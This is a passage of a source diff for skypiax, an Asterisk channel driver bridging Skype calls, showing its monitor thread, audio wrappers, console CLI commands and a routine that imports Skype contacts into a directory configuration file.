+  if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
+    /* Wake up the thread, it can be stuck waiting in a select or so */
+    pthread_kill(skypiax_monitor_thread, SIGURG);
+  } else {
+    /* the monitor thread does not exists, start a new monitor */
+    if (ast_pthread_create(&skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) < 0) {
+      UNLOCKA(&skypiax_monlock);
+      ERRORA("Unable to start monitor thread.\n", SKYPIAX_P_LOG);
+      return -1;
+    }
+  }
+  UNLOCKA(&skypiax_monlock);
+  return 0;
+}
+
+/*! \brief The skypiax monitoring thread 
+ * \note   This thread monitors all the skypiax interfaces that are not in a call
+ *         (and thus do not have a separate thread) indefinitely 
+ *         */
+void *skypiax_do_monitor(void *data)
+{
+  fd_set rfds;
+  int res;
+  struct skypiax_pvt *p = NULL;
+  int max = -1;
+  struct timeval to;
+  time_t now_timestamp;
+
+  if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+    ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+    return NULL;
+  }
+
+  for (;;) {
+    pthread_testcancel();
+    /* Don't let anybody kill us right away.  Nobody should lock the interface list
+       and wait for the monitor list, but the other way around is okay. */
+    PUSHA_UNLOCKA(&skypiax_monlock);
+    MONITORLOKKA(&skypiax_monlock);
+    /* Lock the interface list */
+    PUSHA_UNLOCKA(&skypiax_iflock);
+    MONITORLOKKA(&skypiax_iflock);
+    /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
+       skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
+       and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
+    FD_ZERO(&rfds);
+
+    time(&now_timestamp);
+    p = skypiax_iflist;
+    while (p) {
+      if (!p->owner) {
+        /* This interface needs to be watched, as it lacks an owner */
+
+        if (p->skype) {
+          if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds))
+            ERRORA("Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n",
+                   SKYPIAX_P_LOG, p->SkypiaxHandles.fdesc[0]);
+
+          if (p->SkypiaxHandles.fdesc[0] > 0) {
+            FD_SET(p->SkypiaxHandles.fdesc[0], &rfds);
+            if (p->SkypiaxHandles.fdesc[0] > max)
+              max = p->SkypiaxHandles.fdesc[0];
+
+          }
+        }
+
+      }
+      /* next interface, please */
+      p = p->next;
+    }
+    /* Okay, now that we know what to do, release the interface lock */
+    MONITORUNLOCKA(&skypiax_iflock);
+    POPPA_UNLOCKA(&skypiax_iflock);
+    /* And from now on, we're okay to be killed, so release the monitor lock as well */
+    MONITORUNLOCKA(&skypiax_monlock);
+    POPPA_UNLOCKA(&skypiax_monlock);
+
+    /* you want me to die? */
+    pthread_testcancel();
+
+    /* Wait for something to happen */
+    to.tv_sec = 0;
+    to.tv_usec = 500000;        /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
+    res = ast_select(max + 1, &rfds, NULL, NULL, &to);
+
+    /* you want me to die? */
+    pthread_testcancel();
+
+    /* Okay, select has finished.  Let's see what happened.  */
+
+    /* If there are errors...  */
+    if (res < 0) {
+      if (errno == EINTR)       /* EINTR is just the select 
+                                   being interrupted by a SIGURG, or so */
+        continue;
+      else {
+        ERRORA("select returned %d: %s\n", SKYPIAX_P_LOG, res, strerror(errno));
+        return NULL;
+      }
+    }
+
+    /* must not be killed while skypiax_iflist is locked */
+    PUSHA_UNLOCKA(&skypiax_monlock);
+    MONITORLOKKA(&skypiax_monlock);
+    /* Alright, lock the interface list again, and let's look and see what has
+       happened */
+    PUSHA_UNLOCKA(&skypiax_iflock);
+    MONITORLOKKA(&skypiax_iflock);
+
+    p = skypiax_iflist;
+    for (; p; p = p->next) {
+
+      if (p->skype) {
+        if (FD_ISSET(p->SkypiaxHandles.fdesc[0], &rfds)) {
+          res = skypiax_signaling_read(p);
+          if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
+            //ast_log(LOG_NOTICE, "CALLFLOW_INCOMING_RING SKYPE\n");
+            DEBUGA_SKYPE("CALLFLOW_INCOMING_RING\n", SKYPIAX_P_LOG);
+            skypiax_new(p, SKYPIAX_STATE_RING, p->context /* p->context */ );
+          }
+        }
+      }
+
+    }
+    MONITORUNLOCKA(&skypiax_iflock);
+    POPPA_UNLOCKA(&skypiax_iflock);
+    MONITORUNLOCKA(&skypiax_monlock);
+    POPPA_UNLOCKA(&skypiax_monlock);
+    pthread_testcancel();
+  }
+/* Never reached */
+  return NULL;
+
+}
+
+/*!
+ * \brief Initialize the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces) 
+ * \param p the skypiax_pvt of the interface
+ *
+ * This function initialize the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces). It simply pass its parameters to the right function for the sound system for which has been compiled, eg. alsa_init for ALSA, oss_init for OSS, winmm_init for Windows Multimedia, etc and return the result 
+ *
+ * \return zero on success, -1 on error.
+ */
+
+int skypiax_sound_init(struct skypiax_pvt *p)
+{
+  return skypiax_audio_init(p);
+}
+
+/*!
+ * \brief Shutdown the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces) 
+ * \param p the skypiax_pvt of the interface
+ *
+ * This function shutdown the soundcard channels (input and output) used by one interface (a multichannel soundcard can be used by multiple interfaces). It simply pass its parameters to the right function for the sound system for which has been compiled, eg. alsa_shutdown for ALSA, oss_shutdown for OSS, winmm_shutdown for Windows Multimedia, etc and return the result
+ *
+ * \return zero on success, -1 on error.
+ */
+
+int skypiax_sound_shutdown(struct skypiax_pvt *p)
+{
+
+  //return skypiax_portaudio_shutdown(p);
+
+  return -1;
+}
+
+/*! \brief Read audio frames from interface */
+struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p)
+{
+  struct ast_frame *f = NULL;
+  int res;
+
+  res = skypiax_audio_read(p);
+  f = &p->read_frame;
+  return f;
+}
+
+/*! \brief Send audio frame to interface */
+int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f)
+{
+  int ret = -1;
+
+  ret = skypiax_audio_write(p, f);
+  return ret;
+}
+
+/*!
+ * \brief This thread runs during a call, and monitor the interface serial port for signaling, like hangup, caller id, etc
+ *
+ */
+void *skypiax_do_controldev_thread(void *data)
+{
+  struct skypiax_pvt *p = data;
+  int res;
+
+  DEBUGA_SERIAL("In skypiax_do_controldev_thread: started, p=%p\n", SKYPIAX_P_LOG, p);
+
+  if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+    ERRORA("Unable to set cancel type to deferred\n", SKYPIAX_P_LOG);
+    return NULL;
+  }
+
+  while (1) {
+    usleep(1000);
+    pthread_testcancel();
+    if (p->skype) {
+      res = skypiax_signaling_read(p);
+      if (res == CALLFLOW_INCOMING_HANGUP) {
+        DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
+        if (p->owner) {
+          pthread_testcancel();
+          ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+        }
+      }
+    }
+  }
+
+  return NULL;
+
+}
+
+/************************************************/
+
+/* LUIGI RIZZO's magic */
+/*
+ * store the boost factor
+ */
+#ifdef ASTERISK_VERSION_1_6
+void skypiax_store_boost(const char *s, double *boost)
+#else
+void skypiax_store_boost(char *s, double *boost)
+#endif                          /* ASTERISK_VERSION_1_6 */
+{
+  struct skypiax_pvt *p = NULL;
+
+  if (sscanf(s, "%lf", boost) != 1) {
+    ERRORA("invalid boost <%s>\n", SKYPIAX_P_LOG, s);
+    return;
+  }
+  if (*boost < -BOOST_MAX) {
+    WARNINGA("boost %s too small, using %d\n", SKYPIAX_P_LOG, s, -BOOST_MAX);
+    *boost = -BOOST_MAX;
+  } else if (*boost > BOOST_MAX) {
+    WARNINGA("boost %s too large, using %d\n", SKYPIAX_P_LOG, s, BOOST_MAX);
+    *boost = BOOST_MAX;
+  }
+  *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
+  DEBUGA_SOUND("setting boost %s to %f\n", SKYPIAX_P_LOG, s, *boost);
+}
+
+/*
+ * returns a pointer to the descriptor with the given name
+ */
+struct skypiax_pvt *skypiax_console_find_desc(char *dev)
+{
+  struct skypiax_pvt *p = NULL;
+
+  for (p = skypiax_iflist; p && strcmp(p->name, dev) != 0; p = p->next);
+  if (p == NULL)
+    WARNINGA("could not find <%s>\n", SKYPIAX_P_LOG, dev);
+
+  return p;
+}
+int skypiax_console_playback_boost(int fd, int argc, char *argv[])
+{
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+
+  if (argc > 2) {
+    return RESULT_SHOWUSAGE;
+  }
+  if (!p) {
+    ast_cli(fd,
+            "No \"current\" skypiax_console for playback_boost, please enter 'help skypiax_console'\n");
+    return RESULT_SUCCESS;
+  }
+
+  if (argc == 1) {
+    ast_cli(fd, "playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+            skypiax_console_active,
+            20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+  } else if (argc == 2) {
+    skypiax_store_boost(argv[1], &p->playback_boost);
+
+    ast_cli(fd,
+            "playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+            skypiax_console_active,
+            20 * log10(((double) p->playback_boost / (double) BOOST_SCALE)));
+  }
+
+  return RESULT_SUCCESS;
+}
+int skypiax_console_capture_boost(int fd, int argc, char *argv[])
+{
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+
+  if (argc > 2) {
+    return RESULT_SHOWUSAGE;
+  }
+  if (!p) {
+    ast_cli(fd,
+            "No \"current\" skypiax_console for capture_boost, please enter 'help skypiax_console'\n");
+    return RESULT_SUCCESS;
+  }
+
+  if (argc == 1) {
+    ast_cli(fd, "capture_boost on the active skypiax_console, that is [%s], is: %5.1f\n",
+            skypiax_console_active,
+            20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+  } else if (argc == 2) {
+    skypiax_store_boost(argv[1], &p->capture_boost);
+
+    ast_cli(fd,
+            "capture_boost on the active skypiax_console, that is [%s], is now: %5.1f\n",
+            skypiax_console_active,
+            20 * log10(((double) p->capture_boost / (double) BOOST_SCALE)));
+  }
+
+  return RESULT_SUCCESS;
+}
+
+int skypiax_console_hangup(int fd, int argc, char *argv[])
+{
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+
+  if (argc != 1) {
+    return RESULT_SHOWUSAGE;
+  }
+  if (!p) {
+    ast_cli(fd,
+            "No \"current\" skypiax_console for hanging up, please enter 'help skypiax_console'\n");
+    return RESULT_SUCCESS;
+  }
+  if (!p->owner) {
+    ast_cli(fd, "No call to hangup on the active skypiax_console, that is [%s]\n",
+            skypiax_console_active);
+    return RESULT_FAILURE;
+  }
+  if (p->owner)
+    ast_queue_hangup(p->owner);
+  return RESULT_SUCCESS;
+}
+
+int skypiax_console_dial(int fd, int argc, char *argv[])
+{
+  char *s = NULL;
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+
+  if (argc != 2) {
+    return RESULT_SHOWUSAGE;
+  }
+  if (!p) {
+    ast_cli(fd,
+            "No \"current\" skypiax_console for dialing, please enter 'help skypiax_console'\n");
+    return RESULT_SUCCESS;
+  }
+
+  if (p->owner) {               /* already in a call */
+    int i;
+    struct ast_frame f = { AST_FRAME_DTMF, 0 };
+
+    s = argv[1];
+    /* send the string one char at a time */
+    for (i = 0; i < strlen(s); i++) {
+      f.subclass = s[i];
+      ast_queue_frame(p->owner, &f);
+    }
+    return RESULT_SUCCESS;
+  } else
+    ast_cli(fd,
+            "No call in which to dial on the \"current\" skypiax_console, that is [%s]\n",
+            skypiax_console_active);
+  if (s)
+    free(s);
+  return RESULT_SUCCESS;
+}
+int skypiax_console_set_active(int fd, int argc, char *argv[])
+{
+  if (argc == 1)
+    ast_cli(fd,
+            "\"current\" skypiax_console is [%s]\n    Enter 'skypiax_console show' to see the available interfaces.\n    Enter 'skypiax_console interfacename' to change the \"current\" skypiax_console.\n",
+            skypiax_console_active);
+  else if (argc != 2) {
+    return RESULT_SHOWUSAGE;
+  } else {
+    struct skypiax_pvt *p;
+    if (strcmp(argv[1], "show") == 0) {
+      ast_cli(fd, "Available interfaces:\n");
+      for (p = skypiax_iflist; p; p = p->next)
+        ast_cli(fd, "     [%s]\n", p->name);
+      return RESULT_SUCCESS;
+    }
+    p = skypiax_console_find_desc(argv[1]);
+    if (p == NULL)
+      ast_cli(fd, "Interface [%s] do not exists!\n", argv[1]);
+    else {
+      skypiax_console_active = p->name;
+      ast_cli(fd, "\"current\" skypiax_console is now: [%s]\n", argv[1]);
+    }
+  }
+  return RESULT_SUCCESS;
+}
+
+int skypiax_console_skypiax(int fd, int argc, char *argv[])
+{
+  return RESULT_SHOWUSAGE;
+}
+
+void *do_skypeapi_thread(void *obj)
+{
+  return skypiax_do_skypeapi_thread_func(obj);
+}
+
+int dtmf_received(private_t * p, char *value)
+{
+
+  struct ast_frame f2 = { AST_FRAME_DTMF, value[0], };
+  DEBUGA_SKYPE("Received DTMF: %s\n", SKYPIAX_P_LOG, value);
+  ast_queue_frame(p->owner, &f2);
+
+  return 0;
+
+}
+
+int start_audio_threads(private_t * p)
+{
+  //if (!p->tcp_srv_thread) {
+  if (ast_pthread_create(&p->tcp_srv_thread, NULL, skypiax_do_tcp_srv_thread, p) < 0) {
+    ERRORA("Unable to start tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+    return -1;
+  } else {
+    DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+  }
+  //}
+  //if (!p->tcp_cli_thread) {
+  if (ast_pthread_create(&p->tcp_cli_thread, NULL, skypiax_do_tcp_cli_thread, p) < 0) {
+    ERRORA("Unable to start tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+    return -1;
+  } else {
+    DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+  }
+  //}
+
+#ifdef NOTDEF
+  switch_threadattr_t *thd_attr = NULL;
+
+  switch_threadattr_create(&thd_attr, skypiax_module_pool);
+  switch_threadattr_detach_set(thd_attr, 1);
+  switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+  switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread,
+                       tech_pvt, skypiax_module_pool);
+  DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+
+  switch_threadattr_create(&thd_attr, skypiax_module_pool);
+  switch_threadattr_detach_set(thd_attr, 1);
+  switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+  switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread,
+                       tech_pvt, skypiax_module_pool);
+  DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+  switch_sleep(100000);
+
+#endif
+
+  return 0;
+}
+
+int new_inbound_channel(private_t * p)
+{
+
+#ifdef NOTDEF
+  switch_core_session_t *session = NULL;
+  switch_channel_t *channel = NULL;
+
+  if ((session =
+       switch_core_session_request(skypiax_endpoint_interface,
+                                   SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
+    switch_core_session_add_stream(session, NULL);
+    channel = switch_core_session_get_channel(session);
+    skypiax_tech_init(tech_pvt, session);
+
+    if ((tech_pvt->caller_profile =
+         switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
+                                   tech_pvt->dialplan, tech_pvt->callid_name,
+                                   tech_pvt->callid_number, NULL, NULL, NULL, NULL,
+                                   "mod_skypiax", tech_pvt->context,
+                                   tech_pvt->destination)) != 0) {
+      char name[128];
+      //switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
+      switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
+      switch_channel_set_name(channel, name);
+      switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+    }
+    switch_channel_set_state(channel, CS_INIT);
+    if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+      ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
+      switch_core_session_destroy(&session);
+    }
+  }
+  switch_channel_mark_answered(channel);
+
+#endif
+  return 0;
+}
+
+int remote_party_is_ringing(private_t * p)
+{
+  if (p->owner) {
+    ast_queue_control(p->owner, AST_CONTROL_RINGING);
+  }
+
+  return 0;
+}
+
+int remote_party_is_early_media(private_t * p)
+{
+  if (p->owner) {
+    ast_queue_control(p->owner, AST_CONTROL_RINGING);
+  }
+
+  return 0;
+}
+
+int outbound_channel_answered(private_t * p)
+{
+
+  if (p->owner) {
+    ast_queue_control(p->owner, AST_CONTROL_ANSWER);
+  }
+
+  return 0;
+}
+void *skypiax_do_tcp_srv_thread(void *obj)
+{
+  return skypiax_do_tcp_srv_thread_func(obj);
+}
+void *skypiax_do_tcp_cli_thread(void *obj)
+{
+  return skypiax_do_tcp_cli_thread_func(obj);
+}
+
+int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f)
+{
+  int sent;
+
+  sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
+
+  return 0;
+}
+int skypiax_console_skype(int fd, int argc, char *argv[])
+{
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+  char skype_msg[1024];
+  int i, a, c;
+
+  if (argc == 1) {
+    return RESULT_SHOWUSAGE;
+  }
+  if (!p) {
+    ast_cli(fd, "No \"current\" console for skypiax_, please enter 'help console'\n");
+    return RESULT_SUCCESS;
+  }
+  if (!p->skype) {
+    ast_cli(fd, "The \"current\" console is not connected to a Skype client'\n");
+    return RESULT_SUCCESS;
+  }
+
+  memset(skype_msg, 0, sizeof(skype_msg));
+  c = 0;
+  for (i = 1; i < argc; i++) {
+    for (a = 0; a < strlen(argv[i]); a++) {
+      skype_msg[c] = argv[i][a];
+      c++;
+      if (c == 1022)
+        break;
+    }
+    if (i != argc - 1) {
+      skype_msg[c] = ' ';
+      c++;
+    }
+    if (c == 1023)
+      break;
+  }
+  skypiax_signaling_write(p, skype_msg);
+  return RESULT_SUCCESS;
+}
+
+int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[])
+{
+  //int res;
+  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+  //char list_command[64];
+  char fn[256];
+  char date[256] = "";
+  time_t t;
+  char *configfile = SKYPIAX_DIR_CONFIG;
+  int add_to_skypiax_dir_conf = 1;
+  //int fromskype = 0;
+  //int fromcell = 0;
+
+#if 0
+  if (directoriax_entry_extension) {
+    skypiax_dir_entry_extension = directoriax_entry_extension;
+  } else {
+    ast_cli(fd,
+            "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
+    return RESULT_SUCCESS;
+  }
+#endif
+
+  if (argc != 2)
+    return RESULT_SHOWUSAGE;
+  if (!p) {
+    ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
+    return RESULT_SUCCESS;
+  }
+
+  if (!strcasecmp(argv[1], "add"))
+    add_to_skypiax_dir_conf = 1;
+  else if (!strcasecmp(argv[1], "replace"))
+    add_to_skypiax_dir_conf = 0;
+  else {
+    ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
+    return RESULT_SHOWUSAGE;
+  }
+
+#if 0
+  if (!strcasecmp(argv[2], "fromskype"))
+    fromskype = 1;
+  else if (!strcasecmp(argv[2], "fromcell"))
+    fromcell = 1;
+  else {
+    ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
+    return RESULT_SHOWUSAGE;
+  }
+
+  if (fromcell) {
+    ast_cli(fd,
+            "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
+    //fclose(p->phonebook_writing_fp);
+    //skypiax_dir_create_extensions();
+    return RESULT_SUCCESS;
+  }
+
+  if (fromskype)
+    if (!p->skype) {
+      ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
+      //fclose(p->phonebook_writing_fp);
+      //skypiax_dir_create_extensions();
+      return RESULT_SUCCESS;
+    }
+
+  if (fromcell || fromskype)
+    if (argc != 3) {
+      ast_cli(fd,
+              "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
+      return RESULT_SHOWUSAGE;
+    }
+#endif
+
+  /*******************************************************************************************/
+
+  if (configfile[0] == '/') {
+    ast_copy_string(fn, configfile, sizeof(fn));
+  } else {
+    snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
+  }
+  NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
+  time(&t);
+  ast_copy_string(date, ctime(&t), sizeof(date));
+
+  if (add_to_skypiax_dir_conf)
+    p->phonebook_writing_fp = fopen(fn, "a+");
+  else
+    p->phonebook_writing_fp = fopen(fn, "w+");
+
+  if (p->phonebook_writing_fp) {
+    if (add_to_skypiax_dir_conf) {
+      NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
+      fprintf(p->phonebook_writing_fp, ";!\n");
+      fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
+      fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
+      fprintf(p->phonebook_writing_fp, ";!\n");
+    } else {
+      NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
+      fprintf(p->phonebook_writing_fp, ";!\n");
+      fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
+      fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
+      fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
+      fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
+      fprintf(p->phonebook_writing_fp, ";!\n");
+      fprintf(p->phonebook_writing_fp, "[general]\n\n");
+      fprintf(p->phonebook_writing_fp, "[default]\n");
+    }
+
+  /*******************************************************************************************/
+    //if (fromskype) {
+    if (p->skype) {
+      WARNINGA
+        ("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n",
+         SKYPIAX_P_LOG);
+      if (p->skype_thread != AST_PTHREADT_NULL) {
+        char msg_to_skype[1024];
+
+        p->skype_friends[0] = '\0';
+        sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
+        if (skypiax_signaling_write(p, msg_to_skype) < 0) {
+          return -1;
+        }
+
+        int friends_count = 0;
+        while (p->skype_friends[0] == '\0') {
+          /* FIXME needs a timeout, can't wait forever! 
+           * eg. when skype is running but not connected! */
+          usleep(100);
+          friends_count++;
+          if (friends_count > 20000) {
+            return -1;          /* FIXME */
+          }
+        }
+
+      }
+
+      if (p->skype_thread != AST_PTHREADT_NULL) {
+        char msg_to_skype[1024];
+
+        if (p->skype_friends[0] != '\0') {
+          char *buf, *where;
+          char **stringp;
+          int skype_dir_file_written = 0;
+
+          buf = p->skype_friends;
+          stringp = &buf;
+          where = strsep(stringp, ", ");
+          while (where) {
+            if (where[0] != '\0') {
+              /*
+               * So, we have the Skype username (the HANDLE, I think is called).
+               * But we want to call the names we see in the Skype contact list
+               * So, let's check the DISPLAYNAME (the end user modified contact name)
+               * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME 
+               * if the end user has not modify it)
+               * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the 
+               * Skipe username (the HANDLE)
+               */
+
+              p->skype_displayname[0] = '\0';
+              sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
+              skypiax_signaling_write(p, msg_to_skype);
+              int displayname_count = 0;
+              while (p->skype_displayname[0] == '\0') {
+                /* FIXME needs a timeout, can't wait forever! 
+                 * eg. when skype is running but not connected! */
+                usleep(100);
+                displayname_count++;
+                if (displayname_count > 20000)
+                  return -1;    /* FIXME */
+              }
+              if (p->skype_displayname[0] != '\0') {
+                char *where2;
+                char sanitized[300];
+
+                sanitized[0] = '\0';
+
+                where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
+                if (where2) {
+
+                  /* there can be some *smart* that makes a displayname 
+                   * that is different than first<space>last, */
+                  /* maybe initials, simbols, slashes, 
+                   * something smartish... let's check */
+
+                  if (where2[12] != '\0') {
+                    int i = 12;
+                    int x = 0;
+                    int spaces = 0;
+                    int last_char_was_space = 0;
+
+                    for (i = 12; i < strlen(where2) && x < 299; i++) {
+                      if (!isalnum(where2[i])) {
+                        if (!isblank(where2[i])) {
+                          /* bad char */
+                          continue;
+                        }
+                        /* is a space */
+                        if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
+                          continue;
+                        last_char_was_space = 1;
+                        sanitized[x] = ' ';
+                        x++;
+                        continue;
+                      }
+                      /* is alphanum */
+                      last_char_was_space = 0;
+                      sanitized[x] = where2[i];
+                      x++;
+                      continue;
+                    }
+
+                    sanitized[x] = '\0';
+                    if (spaces == 0) {
+                    }
+                    DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
+                                 SKYPIAX_P_LOG, sanitized, where, &where2[12]);
+                  }
+
+                  if (where2[12] != '\0') {
+                    skypiax_dir_entry_extension++;
+                    if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
+                      fprintf(p->phonebook_writing_fp,
+                              "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                              where, sanitized, "no",
+                              p->skypiax_dir_entry_extension_prefix, "2",
+                              skypiax_dir_entry_extension, "yes", "not_specified");
+                    } else {    /* is a skype name */
+                      fprintf(p->phonebook_writing_fp,
+                              "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                              where, sanitized, "no",
+                              p->skypiax_dir_entry_extension_prefix, "1",
+                              skypiax_dir_entry_extension, "yes", "not_specified");
+                    }
+                    skype_dir_file_written = 1;
+
+                  }
+                }
+              }
+              p->skype_displayname[0] = '\0';
+
+              p->skype_fullname[0] = '\0';
+              sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
+              skypiax_signaling_write(p, msg_to_skype);
+              int fullname_count = 0;
+              while (p->skype_fullname[0] == '\0') {
+                /* FIXME needs a timeout, can't wait forever! 
+                 * eg. when skype is running but not connected! */
+                usleep(100);
+                fullname_count++;
+                if (fullname_count > 20000)
+                  return -1;    /* FIXME */
+              }
+              if (p->skype_fullname[0] != '\0') {
+                char *where2;
+                char sanitized[300];
+
+                where2 = strstr(p->skype_fullname, "FULLNAME ");
+                if (where2) {
+
+                  /* there can be some *smart* that makes a fullname 
+                   * that is different than first<space>last, */
+                  /* maybe initials, simbols, slashes,
+                   *  something smartish... let's check */
+
+                  if (where2[9] != '\0') {
+                    int i = 9;
+                    int x = 0;
+                    int spaces = 0;
+                    int last_char_was_space = 0;
+
+                    for (i = 9; i < strlen(where2) && x < 299; i++) {
+                      if (!isalnum(where2[i])) {
+                        if (!isblank(where2[i])) {
+                          /* bad char */
+                          continue;
+                        }
+                        /* is a space */
+                        if (last_char_was_space == 1)   /* do not write 2 consecutive spaces */
+                          continue;
+                        last_char_was_space = 1;
+                        sanitized[x] = ' ';
+                        x++;
+                        continue;
+                      }
+                      /* alphanum */
+                      last_char_was_space = 0;
+                      sanitized[x] = where2[i];
+                      x++;
+                      continue;
+                    }
+
+                    sanitized[x] = '\0';
+                    if (spaces == 0) {
+                    }
+                    DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
+                                 SKYPIAX_P_LOG, sanitized, where, &where2[9]);
+                  }
+
+                  if (skype_dir_file_written == 0) {
+                    skypiax_dir_entry_extension++;
+                    if (where2[9] != '\0') {
+                      if (where[0] == '+' || isdigit(where[0])) {   /* is a skypeout number */
+                        fprintf(p->phonebook_writing_fp,
+                                "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                where, sanitized, "no",
+                                p->skypiax_dir_entry_extension_prefix, "2",
+                                skypiax_dir_entry_extension, "yes", "not_specified");
+                      } else {  /* is a skype name */
+                        fprintf(p->phonebook_writing_fp,
+                                "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                where, sanitized, "no",
+                                p->skypiax_dir_entry_extension_prefix, "1",
+                                skypiax_dir_entry_extension, "yes", "not_specified");
+
+                      }
+
+                    } else {
+                      if (where[0] == '+' || isdigit(where[0])) {   /* is a skypeout number */
+                        fprintf(p->phonebook_writing_fp,
+                                "%s  => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                where, where, "no", p->skypiax_dir_entry_extension_prefix,
+                                "2", skypiax_dir_entry_extension, "yes", "not_specified");
+                      } else {  /* is a skype name */
+                        fprintf(p->phonebook_writing_fp,
+                                "%s  => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                where, where, "no", p->skypiax_dir_entry_extension_prefix,
+                                "1", skypiax_dir_entry_extension, "yes", "not_specified");
+
+                      }
+                    }
+                  }
+
+                  skype_dir_file_written = 0;
+
+                }
+
+              }
+              p->skype_fullname[0] = '\0';
+
+            }
+            where = strsep(stringp, ", ");
+          }
+
+          p->skype_friends[0] = '\0';
+        }
+      }
+    } else {
+
+      ast_cli(fd,
